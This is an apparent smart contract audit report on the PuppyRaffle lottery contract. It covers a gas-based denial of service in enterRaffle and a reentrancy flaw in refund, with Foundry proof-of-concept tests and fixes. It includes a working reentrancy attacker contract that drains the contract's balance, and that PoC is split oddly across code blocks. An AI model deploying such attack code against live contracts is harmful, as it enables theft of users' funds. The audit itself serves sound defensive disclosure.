

Security Assessment: PuppyRaffle Protocol

*Independent smart contract security review for the **PuppyRaffle** protocol. The primary focus of this assessment was to validate the core game mechanics, access controls, and economic invariants against their intended business logic.*

Executive Summary

Field	Details
Auditor	Denzel Abelle
Date	June 25, 2026
Scope	`PuppyRaffle` core implementation
Key Findings	1 High Severity, 1 Medium Severity

The protocol implements a fully on-chain puppy raffle lottery where participants pay an entrance fee for a chance to win. However, the current implementation contains critical flaws that could lead to total loss of user funds and permanent denial of service.

Summary Matrix

Reference	Vulnerability	Severity	Status
[H-01]	Reentrancy Vulnerability in `refund`	 High	Open
[M-1]	DoS via Quadratic Gas Growth in `enterRaffle`	 Medium	Open

Detailed Technical Findings

[M-1] Denial of Service threat in `enterRaffle` due to quadratic gas growth in duplicate check

Severity: Medium

Context: `PuppyRaffle::enterRaffle` is vulnerable to Denial of Service (DoS) due to quadratic gas growth in duplicate address check.

Description

The `enterRaffle` function uses a nested loop to check for duplicate addresses. As the number of participants increases, the gas cost grows quadratically ($O(n^2)$), eventually exceeding the block gas limit and preventing new users from joining the raffle.

Vulnerability Detail

The `enterRaffle` function iterates through the entire `players` array for each player being added to ensure no duplicates exist:

```
// PuppyRaffle.sol: line 100
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}
```

This nested loop structure means that for `n` players already in the raffle, adding a new batch of `m` players requires roughly `m * n` comparisons. As the raffle progresses and `n` grows large, the computational effort (and thus gas cost) increases quadratically relative to the array size.

Impact

A malicious actor or even organic growth in popularity can cause the `players` array to grow to a size where the `enterRaffle` function consumes more gas than allowed in a single block (e.g., 30,000,000 gas on Ethereum). Once this threshold is reached, no more players can enter the raffle, effectively bricking the core functionality of the protocol.

Risk

This vulnerability risks reverting once the gas limit is reached, thus preventing any other player from joining the raffle forever.

Proof of Concept

The following test demonstrates the rapid increase in gas costs. With just 300 players, the gas cost exceeds 30 million:

```
// test/PoC_DoS.t.sol
function testDenialOfService() public {
    vm.txGasPrice(1);

    uint256 playersToEnter = 100;
    address[] memory players = new address[](playersToEnter);
    for (uint256 i = 0; i < playersToEnter; i++) {
        players[i] = address(i + 1);
    }

    // First 100 players
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersToEnter}(players);
    uint256 gasUsedFirstBatch = gasStart - gasleft();

    // Next 100 players (Total 200)
    for (uint256 i = 0; i < playersToEnter; i++) {
        players[i] = address(i + 1 + playersToEnter);
    }
    gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersToEnter}(players);
    uint256 gasUsedSecondBatch = gasStart - gasleft();

    // Next 100 players (Total 300)
    for (uint256 i = 0; i < playersToEnter; i++) {
        players[i] = address(i + 1 + 2 * playersToEnter);
    }
    gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersToEnter}(players);
    uint256 gasUsedThirdBatch = gasStart - gasleft();

    console.log("Gas used for first 100 players: ", gasUsedFirstBatch);
    console.log("Gas used for second 100 players: ", gasUsedSecondBatch);
    console.log("Gas used for third 100 players: ", gasUsedThirdBatch);

    assert(gasUsedThirdBatch > 30_000_000); // Exceeds standard block gas limit
}
```

Observed Gas Costs:

Players	Gas Used	Status
100	~6.5M	Normal
200	~19M	Elevated
300	~39.8M	DoS

Recommended Mitigation

Replace the nested loop with a `mapping(address => bool)` to track participants. Mappings provide O(1) lookup time, ensuring gas costs remain linear (O(n)) based only on the number of players being added in the current transaction.

```
+ mapping(address => bool) public isPlayer;

function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
+       require(!isPlayer[newPlayers[i]], "PuppyRaffle: Duplicate player");
        players.push(newPlayers[i]);
+       isPlayer[newPlayers[i]] = true;
    }
-   for (uint256 i = 0; i < players.length - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
-           require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-       }
-   }
    emit RaffleEnter(newPlayers);
}
```

*****Note:**** The `isPlayer` mapping must be reset when `players` is cleared in `selectWinner` or when a player is refunded.*

[H-01] Reentrancy vulnerability in `PuppyRaffle::refund` allows an attacker to drain the contract balance

Severity: High

Context: The `refund()` function sends value before updating the state variable, allowing an attacker to call the function multiple times before the state is updated.

Description

The `refund` function is intended to allow active participants to withdraw their entrance fee and exit the raffle. It identifies the player by their index in the `players` array, sends them the `entranceFee`, and then sets their position in the array to `address(0)`.

The function sends the `entranceFee` using `.sendValue()` **before** updating the player's status in the `players` array. This violates the Checks-Effects-Interactions (CEI) pattern, allowing a malicious contract to re-enter the `refund` function multiple times before its address is cleared from the array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

    // @> Interaction: Funds are sent before state update
    payable(msg.sender).sendValue(entranceFee);

    // @> Effect: State update occurs after interaction
    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

Risk

- **Likelihood: High** - A malicious contract enters the raffle. - The malicious contract calls `refund` and implements a `receive` or `fallback` function that calls `refund` again.
- **Impact: High - Total loss of funds:** An attacker can recursively call `refund` until the entire contract balance is drained. - **Denial of Service:** Legitimate players will be unable to receive their refunds or winnings because the contract has no remaining balance.

Proof of Concept

The following PoC demonstrates a malicious contract `ReentrancyAttacker` entering the raffle and recursively calling `refund` to drain all funds from `PuppyRaffle`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;

import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
```

```

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}

contract PoC_Reentrancy is Test {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee = 1e18;
    address feeAddress = address(99);
    uint256 duration = 1 days;

    function setUp() public {
        puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
    }

    function testReentrancy() public {
        // 1. Legitimate players enter (4 ETH total)
        address[] memory players = new address[](4);
        players[0] = address(1);
        players[1] = address(2);
        players[2] = address(3);
        players[3] = address(4);
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // 2. Attacker deploys and attacks
        ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
        vm.deal(address(attacker), entranceFee);
        attacker.attack();
    }
}

```

```

        // 3. Contract is drained
        assertEq(address(puppyRaffle).balance, 0);
        assertEq(address(attacker).balance, (entranceFee * 5)); // Initial 1 +
4 stolen
    }
}

```

Recommended Mitigation

Adhere to the Checks-Effects-Interactions (CEI) pattern by updating the state **before** performing the external call:

```

function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded,
or is not active");

+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);
+   payable(msg.sender).sendValue(entranceFee);

-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}

```

Additionally, consider adding a reentrancy guard from OpenZeppelin.

Tooling and Methodology

This assessment involved a thorough manual code review alongside the construction of deterministic exploit scripts and gas analysis using the **Foundry** environment.

Disclaimer

This report isolates specific architectural observations within the provided scope and represents a point-in-time evaluation. It does not constitute a definitive guarantee against undiscovered logical errors or future runtime vulnerabilities.